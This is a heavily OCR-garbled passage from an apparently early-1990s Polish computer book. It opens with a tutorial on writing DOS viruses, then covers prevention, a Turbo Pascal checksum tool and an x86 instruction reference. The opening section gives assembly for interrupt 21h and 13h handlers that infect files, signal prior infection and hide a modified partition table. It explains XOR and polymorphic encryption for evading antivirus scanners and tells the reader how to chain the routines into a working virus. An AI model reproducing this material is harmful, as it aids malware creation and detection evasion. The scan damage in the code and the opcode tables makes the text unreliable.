zaznaczenie sektorów ze swoim kodem jako bfędnych w tablicy FAT lub poprzez wpisanie się do sektorów nie należšeych do DOS-owskiego dysku logicznego (np. na dyskietce 5,25" 252D ţ na 41 œcieżkę). Przykładowe procedury obsługi przerwań 13h i 21 h mogš dziatać nastepujšco: adres 21h ofs dd far ptr (?) licznikţzƒrazen db 0 przerwanie_21h: sti push ax push bx push cx push dx push si push di push ds push es pushf cmp ah,0eh jne pl mov al,licznikţzarazen inc al and al 7 fh mov lićznikţzarazen,al cmp al , 0 jne pl call zarazenieţpliku , Zarazanie pliku raz na 80H , operacji zmiany napedu j mp end 2 lh ' ' ' :.ţ; pl: cmp ax,haœlo ţ ne p2 popf pOp e5 pop ds pop di pop s i pop dx ;ţţ pop cx pop bx pop ax Informacja dla innych kopii wirusa, ze mov ax,odzew , system jest juz zarazony cli iret 2 eńd 2 lh : pop f pop es 61 pop ds pop di pop s i pop dx pop cx pop bx poţ ax cli jmp cs:far [adres 21h ofs+2] , skok do wlasciweţ , procedury obslugi przerwania adresţl3h ofs dd far ptr (?) przerwanie_13h: sti pushf cmp ah , 2 jne dalej cmp dh , 0 jne dalej cmp d 1, 0 j e dalej cmp dl ,1 je dalej cmp cx 1 , Sprawdzenie czy nastepuje proba odczytu jne dalej , tablicy partycţi dysku twardego. mov cx,9 , jesli tak to w mieţsce zarazonej tablicy , wczytywana tablica oryginalna ( GI tym , przypadku z sektora 0,0,9) dalej: poţf cli jmp cs:far [adresţl3h ofs+2] , skok do oryginalnej procedurţr obslugi przerwania Niektóre wirusy przechwyfujš jeszcze przerwanie zegarowe i co 1I18 sekundy sprawdzajš czy wirus nie ulegt uszkodzeniu, tzn. czy zgadzajš się odpowiednie sumy kontrolne. Jeœli tak, to istnieje możliwoœć, że działanie wirusa jest œledzone przez debuggera. W takim wypadku wirus usuwa się z pamięci lub powoduje restart systemu. Osobnym tematem jest kodowanie kodu wirusa. Właœciwie jest to zagadnienie na samodzielnš ksišżkę. Kształt = i skomplikowanie procedury kodujšcej może zależeć tylko od tego, ile czasu będzie Ci się chciało wfożyć w jej napisanie. Możesz na przykład stosować różne procedury kodujšce w zależnoœci od dnia, miesišca lub godziny. Zasada jest taka, że im więcej czasu poœwięcisz na pisanie takiej procedury, tym wirus będzie trudniejszy do wykrycia przez programy antywirusowe. Najprostszš metodš kodowania jest tak zwane xerowanie, czyli wykonywanie operacji xor na każdym bajcie kodu. Kodowanie w ten sposób ma takš zaletę, że procedura kodujaca jest równoczeœnie procedurš dekodujšcš, gdyż wykonanie dwukrotnie operacji xor na jakimœ elemencie daje w wyniku ten sam element. W treœci przykładowego wirusa znajduje się procedura kodujšca dysk twardy, korzystajšca z xorowania. , W temacie kodowania" jest jeden słaby punkt. Mianowicie procedura dekodujšca nie może być sama zakodowana, a co za tym idzie wykrywajšc obecnoœć takiej procedury wykrywa się obecnoœć samego wirusa. Aby temu zaradzić stosuje się procedury dekodujšce o zmiennej budowie. Przykładowo, jeœli pomiędzy instrukcje dekodujšce wstawi się przypadkowy cišg bajtów (za każdym razem inny) oraz insfrukcję skoku do następnego sensownego rozkazu, to taka procedura nie będzie miała stałego wzorca. Jest to jednak już zupefnie inna bajka i być może w II częœci ksišżki ... Myœlę, że z grubsza omówiłem mechanizmy stosowane przez wirusy w celu maksymalnie długiego maskowania swojej obecnoœci w komputerze. Nic jednak nie stoi na przeszkodzie abyœ wymyœlił swoje wlasne procedury maskujšce (wymagać to będzie przede wszystkim dużego nakładu pracy). Musisz sobie zdawać sprawę tylko z tego, że żadna procedura maskujšca ţ nie jest skuteczna wtedy, gdy wczyta się system operacyjny z niezainfekowanej dyskietki, tak że prędzej czy póŸniej, każdy wirus zostanie wykryty. Ostatnia częœć wirusa, czyli dowcip zależy tylko i wyłšcznie od Twojej inwencji. Osobiœcie polecam bardziej robienie doweipów w stylu kropkojada, czy żartownisia ( Woda wykryta w koprocesorze !!! , Jestem gtodny - wlóż HAMBURGERA : do napędu a: !!! , Pocałuj mnie w ... klawiaturę !!! itd.), niż formatowanie dysku twardego albo próby zniszczenia karty graficznej, czy zagrania marsza na stacji dysków. 62 Natym zakończyliœmy przeglšd głównych procedur, z których składajšsię typowe wirusy. Oczywiœcie każda z tych procedur może zostać napisana zupeinie inaczej i tylko od Ciebie zależy jak będzie wyglšdać, ważne tylko aby spelniała mniej więcej takie same funkcje, jak te przedstawione powyżej. Skonstruowanie wirusa z tych procedur nie powinno stanowić problemu. Po prostu zapisz poszczególne procedury jedna po drugiej, zaczynajšc od tablicyţpartycji, zaœ na końcu dołšcz coœ w tym stylu: instaluj: call zarazenieţtablicyţpartycji;lub call zarazenieţpliku mov ax,4CH int 21H koniec: end instaluj 18. Profilaktyka Najprostszš metodš zabezpieczenia się przed wirusami jest korzystanie tylko i wyłšcznie z oryginalnych programów. Dyskietki firmowe nie powinny zawierać żadnych wirusów a jeœli już jakiœ się zdarzy, to firma która sprzedaje program musi , wyrównać wszelkie straty powstate przez wirusa. Korzystanie z dyskietek z wszelkich innych Ÿródel niesie za sobš ryzyko zarażenia komputera. Jednak i w tym wypadku, jeœli złapiesz wirusa nie wpadaj w panikę. Wystarczy mieć zaklejone kopie zbiorów z dysku twardego, oraz dyskietkę z oryginalnš zawartoœciš tablicy partycji i bloku ładujšcego dysku twardego (Utworzone na przykład przy pomocy programu Norton Utilities). Majšc takie kopie możesz być pewny, że wirus nie zniszczy żadnych cennych danych na dysku. W przypadku zauważenia jakichkolwiek anomaliów w pracy komputera, załaduj na nowo system z zaklejonej dyskietki, co do której masz pewnoœć, że nie jest zawirusowana. Jest to konieczne, gdyż jak pewnie już wiesz po przeczytaniu poprzedniego rozdziału wirusy, mogš stosować różne sztuczki w celu maskowania swojej obecnoœci w systemie. Następnie porównaj zawartoœć tablicy partycji i bloku ładujšcego dysku twardego z tymi, które znajdujš się na dyskietce. Porównaj także rozmiary plików z dysku twardego i z dyskietek. Jeœli zauważyszjakiekolwiek różnice będzie to znaczyło, że w systemie jest wirus. Najprostszš metodš pozbycia się go jest przywrócenie oryginalnej tablicy partycji i boot sektora oraz ponowne przekopiowanie z dyskietek plików, które sš zarażone. Jeœli chcesz się pobawić w pogromcę wirusów to możesz przeanali- zować kod wirusa (zawsze będzie się wykonywał na poczštku zarażonych programów). Najważniejsza informacja, którš musisz wycišgnšć z wirusa, to adres pierwotnego punktu startu programu oraz ewentualnie oryginalne bajty poczštku pliku. Przywrócenie oryginalnych wartoœci do nagłówka i zawartoœci pliku unieszkodliwia wirusa (może on fizycznie zostać w pliku, ale nie uaktywniać się podczas wykonywania programu). Ostatnim krokiem może być wykasowanie tej częœci pliku, w której znajduje się kod wirusa, nie jest to jednak czynnoœć niezbędna. To co przedstawiłem wyżej to całkowita teoria walki z wirusami. Przynajmniej w moim przypadku sprawdza się w stu procentach. Walka z każdym typem wirusa jest inna, ponieważ w każdym mogš być zastosowane inne sztuczki. Myœlę jednak, że przy każdym z nich przydadzš Ci się wiadomoœci z poprzedniego rozdziału. No pewnie, łatwo powiedzieć W przypadku zauważenia jakichkolwiek anomaliów w pracy w pracy komputera...". Pewnie zastanawiasz się ,co ten facet od Ciebie chce i skšd masz być taki genialny żeby samemu wyczuć wirusa w swoim systemie. Otóż najprostszš metodš sprawdzania, czy wirusy nie dołšczyły się do jakiegoœ pliku (a co za tym idzie, czy nie ma ich w systemie) jest sprawdzenie jego sumy kontrolnej. Suma ta może być liczona na wiele sposobów. Jeden ze sposobów przedstawię poniżej. Program liczšcy sumę jest napisany w Turbo Pascalu. Jeœli wywołasz program bez parametrów wejœciowych, to po wywolaniu pyta o nazwę zbioru. Program liczy sumę tylko dla pojedynczego zbioru. Możesz go tak zmodyfikować, żeby liczył sumę po kolei dla każdego zbioru w katalogu (lub dla każdego zbioru na dysku), a także aby zapamiętywał gdzieœ (na przykład w sektorach dysku niewykorzystywanych przez system) te sumy i przy następnym przebiegu sprawdzał, czy nie zaszły jakieœ zmiany. {******************************************************************} *7 {* {* Program Suma Andrzej Dudek Pazdziernik 1992 *} {* {* Program liczy sume kontrolna dla pliku ktorego nazwa *l {* przekazywana jest jako parametr jego wywolania. *} {* *1 {* Uzycie: 63 {* Suma nazwa zbioru *} {* *} ******************************************************************} {$I- $R-} var suma :lonţint; nazwa :string; f :file; blad :byte; bufor :word; przeczytane :word; begin if paramcount<>0 then nazwa:=paramstr(1) else begin writeln; writeln('Podaj nazwe zbioru do sprawdzenia'); readln(nazwa) end; assign(f,nazwa); reset(f); blad:=ioresult; if blad0 then begin Writeln('bledna nazwa pliku lub blad otwarcia'); halt end; suma:=0ţ while nót eof(f) do begin blockread(f,bufor,sizeof(word),przeczytane); blad:=ioresult; if blad<>0 then begin Writeln('Blad odczytu z pliku'); halt endů suma:=suma+bufor; endů writeln ('Suma kontrol.na pliku ',nazwa,' wynosi ',suma); end. .P aţ , , 63 {* Suma nazwa zbioru *} {* *} {******************************************************************} {$I- $R-} var suma :lonţint; nazwa :string; f :file; blad :byte; bufor :word; przeczytane :word; bf paramcount<>0 then nazwa:=paramstr(1) else begin writeln; writeln('Podaj nazwe zbioru do sprawdzenia'); readln(nazwa) end ; assign(f,nazwa); reset(f); blad:=ioresult; if blad0 then begin Writeln('bledna nazwa pliku lub blad otwarcia'); halt end; suma:=0; while not eof(f) do begin blockread(f,bufor,sizeof(word),przeczytane); blad:=ioresult; if blad<>0 then ' begin Writeln('Blad odczytu z pliku'); halt end; suma:=suma+bufor; end; writeln ('Suma kontrol.na pliku ',nazwa,' wynosi ',suma); end. 64 eţ - d' r ţ; 65 19. W 80 œwiatów dookalţa dnia W tym rozdziale znajduje się zestawienie różnego rodzaju tabel i kodów, które na pewno przydadzš Ci się przy codziennej pracy z komputerem, a których i tak nigdy byœ nie spamiętał. Staralem się pozbierać materiały dotychczas porozrzucane po różnych publikacjach, wychodzšc z założenia, że lepiej mieć na biurku jednš ksišżkę niż piętnaœcie. Wiadomoœci czerpałem z ksišżek [1-7] oraz z rewelacyjnego programu firmy Flambeaux Software - TechHelp, Norton Guide'a i programów firmy McAfee. Jeœli korzystałem z innych publikacji, to jest 1o zaznaczone w tekœcie. Starałem się zachować terminologię (nie zawsze mi się to udawało) takš, jak w bardzo dobrej ksišżce J.Demineta "System operacyjny MS-DOS" [6]. Uważam bowiem, iż należałoby wreszcie zrobić porzšdek w nazewnictwie zwišzanym z IBM-em, żeby nie pojawiały się takie kwiatki jak zabulowanie systemu, czy dwumlaœnięcie myszkš, a terminy zaproponowane w tej ksišżce w miarę dokładnie odpowiadajš nazwom angielskim. Lista rozkazów W tym paragrafie znajdujš się rozkazy procesorów Intel 8086/8088, 80286, 80386 oraz te z rozkazów procesora 80486, które nie operujš na liczbach zmiennopozycyjnych. Format opisu rozkazówjest następujšcy: Rozkaz: mnemonik odpowiadajţcy rozkazowi Procesory: Jeœli rozkaz jest dostępny na wszystkich z wyżej wymienionych komputerów, to w tym miej- scu jest napis "Wszystkie", w przeciwnym wypadku znajduje się nazwa procesora, ktdry ' pierwszy miał w swoim zestawie instrukcji ten rozkaz. Przykładowo napis 80286 oznacza, że rozkaz może być wykonywany na procesorach 80286, 80386 i 80486. Przy rozkazach działajacych na 32-bitowych argumentach nie zaznaczałem, że sš to rozkazy procesora 80386, ale to wynika z kontekstu. Rozkazy zaznaczone jako 80286 sa rozkazami trybu wir- tualnego tego procesora. Znaczniki: Stan rejestru znaczników po wykonaniu instrukcji. Symbol ' oznacza, że znacznik jest usta- wiany zgodnie z wynikiem operacji, zaœ symbol ? informuje, że znacznik jest niezdefinio- wany po wykonaniu operacji. Kod: Kod rozkazu w postaci szestnastkowej. Argumenty: Oznaczenie argumentów składa się z jednego z symboli imm - argument bezpoœredni (stała) r - rejestr rs - rejestr segmentowy m - adres rel - adres relatywny ptr - wskaŸnik oraz z liczby 8,16 lub 32 oznaczajšcej długoœć argumentu w bitach. Argumentem może ' być też nazwa rejestru. Opis: Opis dziafania rozkazu. Rozkaz: AAA Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C ? ? ţ ţ Ar umenly 37 Brak 66 Opis: Korekcja rejestru AL po obliczeniu sumy dwóch niespakowanych liczb zapisanych w ko- dzie BCD. 4, Ž Rozkaz: AAD Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C * * ţ Argumenty D5 OA Brak Opis: Korekcja przed wykonaniem operacji dzielenia. W rejestrze AL musi znajdować się mniej znaczšca cyfra liczby, w rejestrze AH - bardziej znaczšca cyfra. Rozkaz: AAM Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C * * ţ ArgumentY D4 OA Brak Opis: Korekcja liczby z AX po wykonaniu mnożenia. Bardziej znaczšca cytra jest umieszczana w AH, a mniej znaczšca w AL Rozkaz: AAS :; . Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C t ł ;'! Y. Argumenty 3F Brak Opis: Korekcja rejestru AL po obliczeniu różnicy dwóch nieupakowanych liczb zapisanych w ko- dzie BCD. Rozkaz: ADC Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C * * * tţ;' rţ Y ţ 67 Kod Argumenty 10 rlm8,r8 11 r/m16,r16 11 r/m32 r32 12 r8,r/m8 13 r16,r/m 13 r32,r/m32 14 AL,imm8 15 AX,imml6 15 EAX,imm32 80/2 rlm8,imm8 81/2 rlml 6,imm16 81/2 rlm32,imm32 83/2 r/ml 6,imm8 83l2 r/m32,imm8 Opis: Obliczenie sumy dwóch liczb, z ewentualnym dodaniem 1, przy ustawionym znaczniku przeniesienia C i umieszczenie wyniku w pierwszym operandzie. Rozkaz: ADD Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C * * k t ł Argumenty 01 r/m8 r8 O1 r/m16,r16 O1 r/m32,r32 02 r8,r/m8 03 r16,r/m16 03 r32,rlm32 04 AL,imm8 05 AX,imm16 ' 05 EAX,imm32 80/0 r/m8,imm8 81I0 r/m16,imml6 81I0 r/m32,imm32 83/0 r/m16,immBR 83I0 r/m32,imm8 Opis: Obliczenie sumy dwóch liczb, bez uwzględniania przeniesienia i umieszczenie wyniku w pierwszym operandzie. Rozkaz: AND Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C 0 ? 0 .,1 lţ 68 ţ‹ Argumenty 20 r/m8 r8 21 r/m16,r16 21 r/m32,r32 22 r8,r/m8 23 rl 6,r/m16 23 r32,r/m32 24 AL,imm8 25 AX imm16 25 EAX,imm32 80I4 r/m8,imm8 81/4 rlm16,imm16 81/4 r/m32,imm32 83I4 r/m16,immBR 83I4 rlm32,imm8 Opis: Rozkaz oblicza iloczyn logiczny dla wszystkich odpowiadajacych sobie par bitów. Rozkaz: ARPL :jr: ' Procesory: 80286 Znaczniki: 0 D I T S Z A P C Argumenty 63 r/m16,r16 _ Opis: Testowanie poziomu uprzywilejowania. Jeœli pole RPL (ang Request Privelege Level - żš- dany poziom uprzywilejowania) jest mniejsze niż pole RPL drugiego argumentu, to ustawia- ţ ţ ţ ^ţ ny jest znacznik Z, a pole RPL pierwszego argumentu przyjmuje wartoœć RPL drugiego ar- gumentu. Rozkaz: Bound Procesory: Wszystkie ` . ţ Znaczniki: 0 D I T S Z A P C Argumenty 62 r16,m16&16 62 r32,m32&32 Opis: Rozkaz sprawdza, czy indeks zawarty w rejestrze mieœci się w przedziale okreœlonym przez dwie kolejne komórki wskazywane przez drugi argument. Jeœli nie, to wywolywane jest przerwanie 5. Rozkaz: BSF Procesory: 80386 YJL" ?i 69 Znaczniki: 0 D I T S Z A P C Argumenty OF BC r16,rlm16 OF BC r32,r/m32 Opis: Szukanie pierwszego ustawionego bitu w kolejnoœci naturalnej. Rozkaz sprawdza bity dru- giego argumentu, zaczynajac od bitu 0. Jeœli wszystkie bity sš wyzerowane, to znacznik Z jest zerowany, w przeciwnym wypadku znacznik Z jest ustawiany, a do pierwszego ope- randa wpisywany jest numer pierwszego bitu, który nie był wyzerowany. Rozkaz: BSR Procesory: 80386 Znaczniki: 0 D I T S Z A P C Argumenty OF BD r16,r/m16 OF BD r32,rIm32 Opis: Szukanie pierwszego ustawionego bitu w kolejnoœci odwrotnej. Rozkaz sprawdza bity drugie- go argumentu zaczynajac od bitu najbardziej znaczšcego. Jeœli wszystkie bity sš wyzerowa- ne, to znacznik Z jest zerowany, w przeciwnym wypadku znacznik Z jest ustawiany, a do pierwszego operanda wpisywany jest numer pierwszego bitu, który nie był wyzerowany. Rozkaz: BSWAP Procesory: 80486 Znaczniki: 0 D I T S Z A P C Argumenty r32 Opis: Wymienia kolejnoœć od najmniej do najbardziej znaczšcego bajtu w rejestrze na kolejnoœć od najbardziej znaczšcego do najmniej znaczšcego. _ Rozkaz: BT Procesory: 80386 Znaczniki: O D I T S Z A P C Argumenty OF A3 r/m16,r16 OF A3 r/m32,r32 OFBA /4 r/m16,imm8 OFBA /4 r/m32,imm8 ,'::;ţ Funkcja kopiuje bit z pierwszego argumentu do znacznika C. Numer bitu jest przekazywa- ny w drugim argumencie. Rozkaz: BTC Procesory: 80386 Znaczniki: 0 D I T S Z A P C Arqumenty OF BB r/m16,r16 OF BB rlm32,r32 OFBA l7 rlm16,imm8 OFBA I7 r/m32,imm8 Opis: Funkcja kopiuje bit z pierwszego argumentu do znacznika C i wpisuje w jego miejsce bit 1ţ przeciwny. Numer bitu jest przekazywany w drugim argumencie. Rozkaz: BTR Procesory: 80386 Znaczniki: 0 D I T S Z A P C Kod Arqumenty OF B3 r/m16,r16 OF B3 r/m32,r32 OFBA /6 r/m16,imm8 OFBA /6 r/m32,imm8 Opis: Funkcja kopiuje bit z pierwszego argumentu do znacznika C, a nastepnie wpisuje w jego ;:;ţ miejsce 0. Numer bitu jest przekazywany w drugim argumencie. Rozkaz: BTS Procesory: 80386 Znaczniki: 0 D I T S Z A P C Argumenty OF AB r/m16,r16 OF AB r/m32,r32 OFBA /5 r/ml 6,imm8 OFBA /5 r/m32,imm8 Opis: Funkcja kopiuje bit z pierwszego argumentu do znacznika C, a nastepnie wpisuje wjego miejsce 1. Numer bitu jest przekazywany w drugim argumencie. Rozkaz: CALL Procesory: Wszystkie 71 Znaczniki: 0 D I T S Z A P C Argumenty E8 rell 6 FF /2 rlm16 9A ptr1 6:1 6 FF/3 m16:16 E8 rel32 FF r/m32 9A ptr16:32 9A ptr32:32 FF I3 ml 6:32 Opis: Funkcja wykonuje skok do procedury, po powrocie z procedury wykonywana jest następna w kolejnoœci instrukcja. Rozkaz: CBW Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C E: Argumenty 98 Brak Opis: Zamiana bajtu na słowo. Przekształcenie liczby z rejestru AL bez zmiany wartoœci i umiesz- F . czenie jej w AX. Rozkaz: CLC Procesory: Wszystkie ;. Znaczniki: ,: 0 D I T S Z A P C 0 Argumenty „ . F8 Brak Opis: Wyzerowanie znacznika przeniesienia C. Rozkaz: CLD Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C 0 Argumenty FC Brak Opis: Wyzerowanie znacznika kierunku D. ţţ ţ. 5=ţ 72 Rozkaz: CLI Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C 0 Argumenty FA Brak Opis: Wyzerowanie znacznika zezwolenia na przerwanie I. . 3: ţ Rozkaz: CLTS Procesory: 80286 Znaczniki: 0 D I T S Z A P C r: Ko Argumenty OF 06 Brak Opis: Instrukcja zeruje znacznik TS (ang Task Switched - przełšczone zadanie) w słowie stanu. ţ' d ' Można go używać w trybie wirtualnym procesora, na najwyższym poziomie uprzywilejowa- nia. Rozkaz: CMC Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C Argumenty F5 Brak Opis: Rozkaz zamienia wartoœć znacznika przeniesienia C na przeciwnš. Rozkaz: CMP Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C * * 73 / Kod Ar m n 3C AL,imm8 3D AX,imml 6 3D EAX,imm32 80I7 rlm8.imm8 81/7 r/m16,imml6 81/7 r/m32,imm32 83/7 r/m16,imm8 83I7 r/m32,imm8 38 r/m8,r8 39 r/ml 6,r16 39 r/m32,r32 3A r8,r/m8 3B r16,r/m16 3B r32,r/m32 Opis: Porównanie dwóch argumentów. Rozkaz odejmuje zawartoœć pierwszego argumentu od drugiego, jednak nie zapisuje nigdzie wyniku, a tylko ustawia odpowiednie znaczniki. Rozkaz: CMPS,CMPSB,CMPSW,CMPSD Procesory: Wszystkie. CMPSD - 80386 Znaczniki: 0 D I T S Z A P C * * * * * Argumenty A6 CMPS m8,m8 A7 CMPS m16,16 A7 CMPSB A6 CMPS m32,m32 A7 CMPSW A7 CMPSD Opis: Porównanie komórek ES:[(E)DI) i DS:[(E)SI] oraz zmniejszenie (E)DI i (E)SI o rozmiar po- równywanych komórek, jeœli znacznik kierunku D jest ustawiony lub zwiększenie (E)SI i (E)DI o rozmiar komórek jeœli D jest wyzerowany. Instrukcja poprzedzona przedrostkiem REP może służyć do porównowania łaricuchów. Instrukcja CMPSB porównuje bajty (roz- miar 1), CMPSW - słowa (rozmiar 2), CMPSD - stowa podwójne (4). Rozkaz: CMPXCHG Procesory: 80486 Znaczniki: 0 D I T S Z A P C Kod Argumenty r/m,r Opis: Rozkaz porównuje dwa argumenty, a następnie wymienia ich zawartoœci. Rozkaz: CWD Procesory: 80386 74 Znaczniki: 0 D I T S Z A P C ' :i Argumenty 99 Brak Opis: Rozkaz zamienia słowo ze znakiem z rejestru AX, na podwójne słowo ze znakiem w DX:AX. Rozkaz: CWDE Procesory: 80386 _ Znaczniki: 0 D I T S Z A P C Argumenty 98 Brak Opis: Rozkaz zamienia słowo ze znakiem z rejestru AX na podwójne słowo ze znakiem w EAX. Rozkaz: DAA Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C * k * Argumenty 27 Brak Opis: Rozkaz dokonuje korekcji dziesiętnej, po umieszczeniu w rejestrze AL sumy dwóch upako- wanych cyfr w zapisie BCD. Rozkaz: DAS ţ ţ ł 7 Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C :: ;5 Argumenty 2F Brak Opis: Rozkaz dokonuje korekcji dziesiętnej po umieszczeniu w rejestrze AL różnicy. ,s , Rozkaz: DEC Procesory: Wszystkie ţ \ 75 Znaczniki: 0 D I T S Z A P C * k 1 Argumenty FE/1 r/m8 FEJ1 r/m16 FE/1 r/m32 48 r16 48 r32 Opis: Rozkaz zmniejsza operand o 1. Nie ustawia znacznika C. Rozkaz: DIV Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C ţ ţ * ţ Argumenty F6/6 rlm8 F7/6 r/m 16 F7/6 rlm32 Opis: Dzielenie liczb bez znaku. wersja 8,16 i 32 bitowa dzieli liczbę znajdujšcš się odpowiednio w AX, DX:AX, EDX:EAX przez operand i umieszcza wynik z dzielenia. Rozkaz: ENTER Procesory: 80286 Znaczniki: 0 D I T S Z A P C Argumenty _ C8 imm16,0 C8 imml6,1 C8 imm16,imm8 Opis: Instrukcja tworzy przestrzeri na stosie dla zmiennych lokalnym. Pierwszy parametr okreœla rozmiar potrzebnej pamięci, drugi definiuje poziom podprogramu. Rozkaz: HLT Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C Argumenty F4 Brak Opis: Rozkaz wstrzymuje wykonywanie nastepnych rozkazów i powoduje oczekiwanie na przer- wanie. Rozkaz: IDIV . ,ż Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C Argumenty F6/7 r/m8 "ţţ= F7I7 r/m16 F7I7 r/m32 Opis: Dzielenie liczb ze znakiem. Wersja 8,16 i 32 bitowa dzieli liczbę znajdujšcš się odpowie- dnio w AX, DX:AX, EDX:EAX przez operand i umieszcza wynik z dzielenia w AL (AX, EAX), a resztę w AH (DX,EDX). : ţţ;: Rozkaz: IMUL Proeesory: Wszystkie Znaczniki: 0 D I T S Z A P C ţx Argumenty F6/5 r/m8 F7/5 r/m 16 _ F7/5 r/m32 OF AF r16,rlm16 _ OF AF r32,rIm32 6B r16,r/m16,imm8 6B r32,rlm32,imm8 6B rl 6,imm8 6B r32,imm8 " . 69 r16,r/m16,imml6 69 r32,r/m32,imm32 69 r16,imm16 69 r32,imm32 Opis: Rozkaz wykonuje mnożenie dwóch liczb ze znakiem i umieszcza wynik w pierwszym ope- ţ ;; randzie. Jeœli posiada tylko jeden argument(8,16 lub 32-bitowy) to w zależnoœci jest on po- mnożony przez AL (AX, EAX), a wynik jest umieszczany w AX (DX:AX, EDX:EAX). W wer- sji z trzema argumentami rozkaz mnoży drugi argument przez trzeci i umieszcza wynik w pierwszym. Jeœli rezultat nie mieœci się w rejestrze docelowym, to jest ustawiany znacz- ţ~; ţ nik C. Rozkaz: IN ** ' ! 'k ' Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C ‰;‹ F. _ţƒ Kod Arţumenty E4 AL,imm8 E5 AX,imm8 E6 EAX,imm8 EC AL,DX ED AL,DX ED EAX,DX Opis: Czytanie z portu. Rozkaz umieszcza wartoœć przeczytanš z portu o numerze przekazywa- nym jako drugi argument do rejestru AL (AX, EAX). Rozkaz: INC Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C Argumenty FE/0 r/m8 FE/0 r/m 16 ! FE/0 rlm32 40 r16 40 r32 Opis: Rozkaz zwiększa operand o 1. Nie ustawia znacznika C. Rozkaz: INS,INSB,INSW,INSD Procesory: 80286 INSD - 80386 Znaczniki: 0 D I T S Z A P C Ar m n 6C I r/m8,DX 6D INS r/m16,32 6D INS r/m32,DX ţ 6C INSB 6D INSW _ 6D INSD Opis: Instrukcje powodujš wprowadzenie z portu o numerze w DX jednego bajtu (stowa, slowa podwójnego) pod adres ES:[(E)DI) i zwiększenie jeœli znacznik D=0 lub zmniejszenie jeœli znacznik D=1 rejestru (E)DI o 1 (2, 4). " ů ROZkaZ: INT,INTO Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C 0 0 Kod Argumenty CC INT3 CD INT imm8 CE INTO Opis: Instrukcja INT wywofuje program obsługi przerwania o danym numerze. Instrukcja INTO wywołuje przerwanie numer 4 w przypadku, gdy ustawiony jest znacznik 0. Instrukcje po- , ţ' wodujš przesłanie na stos rejestru znaczników, wyzerowanie I i T, zapamiętanie na stosie ; "ţ rejestrów CS i IP oraz daleki skok pod adres wskazywany w tablicy wektorów przerwari. Rozkaz: INVD Procesory: 80486 Znaczniki: O D I T S Z A P C . r 1 ' , .Ya;‹ ' Ko Argumenty Brak Opis: Rozkaz unieważnia zablokowanie danych. Rozkaz: INVLPG Procesory: 80486 Znaczniki: 0 D I T S Z A P C ;ţ: : Argumenty Opis: Rozkaz likwiduje TLP pod danym adresem. Rozkaz: IRET, IRETD Procesory: Wszystkie Znaczniki: 0 D I T S Z A P C * * * * * * * * Zdjęte ze stosu Argumenty CF IRET CF IRETD ^'ţţx Opis: Instrukcje powrotu z procedury obsługi przerwania. Powodujš zdjęcie ze stosu rejestrów IP,CS i rejestru znaczników. Instrukcja IRETD działa na procesorach od 80386. Rozkaz: Jcc ţ`ţ Procesory: Wszystkie ţ :1. '*œ 79 Znaczniki: 0 D I T S Z A P C Kod Postać Znaczenie Warunek 72 JB/JNAE rel8 Skok gdy mniejszy Skok gdy nie większy lub równy 7 JAEIJNB rel8 Skok gdy większy lub równy C=0 Skok gdy nie mniejszy 76 JBEIJNA rel8 Skok gdy mniejszy lub równy C=1 lub Z=1 Skok gdy nie większy 77 JA/JNBE rel8 Skok gdy większy C=0 i Z=0 Skok gdy nie mniejszy lub równy 74 JEIJZ rel8 Skok gdy równy 75 JNE/JNZ rel8 Skok gdy nie równy Z=0 7C JUJNGE rel8 Skok gdy mniejszy (liczby ze znakiem) S=0 Skok gdy nie większy lub równy JGE/JNL rel8 Skok gdy nie większy S=0 7D (liczby ze znakiem) " , Skok gdy nie mniejszy 7E JNG/JLE rel8 Skok gdy mniejszy lub równy Z=1 lub S=0 Skok gdy nie większy (liczby ze znakiem) 7F JG/JNLE rel8 Skok gdy większy (liczby ze znakiem) Z=0 i S=0 Skok gdy nie mnieţszy lub równy 7A JPIJPE rel8 Skok przy parzystoœci p=1 7B JNP/JPO rel8 Skok przy braku parzystoœci p=0 78 JS rel8 Skok gdy znak ujemny 79 JNS rel8 Skok gdy znak dodatni S=0 72 JC rel8 Skok przy przeniesieniu 73 JNC rel8 Skok przy braku przeniesienia C=0 70 JO rel8 Skok przy nadmiarze 71 JNO rel8 Skok przy braku nadmiaru 0=0 E3 JCXZ rel8 Skok jeœli rejestr CX = 0 CX=0 ' E3 JECXZ rel8 Skok jeœli rejestr ECX = 0(tylko 80386) ECX=0 OF 82 JB/JNAE rel16/32 Skok gdy mniejszy Skok gdy nie większy lub równy OF 83 JAEIJNB rel16I32 Skok gdy większy lub równy C=0 Skok gdy nie mniejszy OF 86 i JBEIJNA rel16/32 Skok gdy mniejszy lub równy C=1 lub Z=1 Skok gdy nie większy ;fF KQd Postać Znaczenie Warunek OF 87 JţJNBE rel16/32 Skok gdy większy C=0 i Z=0 Skok gdy nie mniejszy lub równy OF 84 JEIJZ rel16I32 Skok gdy równy 0F85 JNE/JNZ rell6/32 Skok gdy nie równy Z=0 OF 8C JUJNGE rell 6/32 Skok gdy mniejszy (liczby ze znakiem) S=0 Skok gdy nie większy lub równy :. .r OF 8D JGE/JNL rell 6I32 Skok gdy nie większy (liczby ze znakiem) S= Skok gdy nie mniejszy OF 8E JNG/JLE rel16I32 Skok gdy mniejszy lub równy Z=1 lub S=0 Skok gdy nie większy (liczby ze znakiem) OF 8F JG/JNLE rel16/32 Skok gdy większy (Iiczby ze znakiem) Z=0 i S=0 Skok gdy nie mniejszy lub równy OF 8A JP/JPE rell 6/32 Skok przy parzystoœci p=1 OF 8B JNP/JPO rel16/32 Skok przy braku parzystoœci P=0 OF 88 JS rel16/32 Skok gdy znak ujemny S=1 OF 89 JNS rel16/32 Skok gdy znak dodatni S=0 OF 82 JC 